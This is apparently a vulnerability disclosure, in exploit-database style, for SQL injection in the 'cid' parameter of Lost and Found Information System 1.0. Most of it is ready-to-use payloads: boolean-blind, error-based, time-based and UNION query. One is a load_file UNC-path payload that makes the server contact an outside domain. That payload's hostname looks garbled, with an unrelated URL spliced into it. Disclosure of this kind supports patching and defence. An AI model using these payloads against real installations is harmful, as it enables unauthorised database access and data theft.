Found Information System 1.0 SQL Injection

## Title: Found Information System 1.0 Multiple-SQLi## Author: nu11secur1ty## Date: 05.07.2023## Vendor: https://github.com/oretnom23## Software: https://www.sourcecodester.com/php/16525/lost-and-found-information-system-using-php-and-mysql-db-source-code-free-download.html## Reference: https://portswigger.net/web-security/sql-injection## Description:The `cid` parameter appears to be vulnerable to SQL injection attacks.The payload '+(selectload_file('%5c%5c%5c%5c446j46zi440491hdrco5ywxzhttps://www.sourcecodester.com/user/257130/activity%5c%5coca'))+'was submitted in the cid parameter. This payload injects a SQLsub-query that calls MySQL's load_file function with a UNC file paththat references a URL on an external domain. The applicationinteracted with that domain, indicating that the injected SQL querywas executed.The attacker can get susceptible - sensitive information about thesystem, then he can perform another more dangerous attack.STATUS: HIGH Vulnerability[+]Payload:```mysql---Parameter: cid (GET)    Type: boolean-based blind    Title: OR boolean-based blind - WHERE or HAVING clause    Payload: page=items&cid=-9014' OR 4485=4485 AND 'MLAS'='MLAS    Type: error-based    Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR)    Payload: page=items&cid=-3437' OR 1 GROUP BYCONCAT(0x71786b7171,(SELECT (CASE WHEN (5811=5811) THEN 1 ELSE 0END)),0x71627a6b71,FLOOR(RAND(0)*2)) HAVING MIN(0)#    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: page=items&cid=2'+(selectload_file('\\\\446j46zi440491hdrco5ywxzhttps://www.sourcecodester.com/user/257130/activity\\oca'))+''AND (SELECT 9471 FROM (SELECT(SLEEP(3)))atkh) AND 'RWRl'='RWRl    Type: UNION query    Title: MySQL UNION query (UTF8) - 5 columns    Payload: page=items&cid=2'+(selectload_file('\\\\446j46zi440491hdrco5ywxzhttps://www.sourcecodester.com/user/257130/activity\\oca'))+''UNION ALL SELECT'UTF8',CONCAT(0x71786b7171,0x506f70715a457a794d7641625051436b4c4a52576d51645242665863795a6f594d4843426d654b46,0x71627a6b71),'UTF8','UTF8','UTF8','UTF8'#---```## Proof and Exploit:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2023/Lost-and-Found-Information-1.0)## Time spend:00:37:00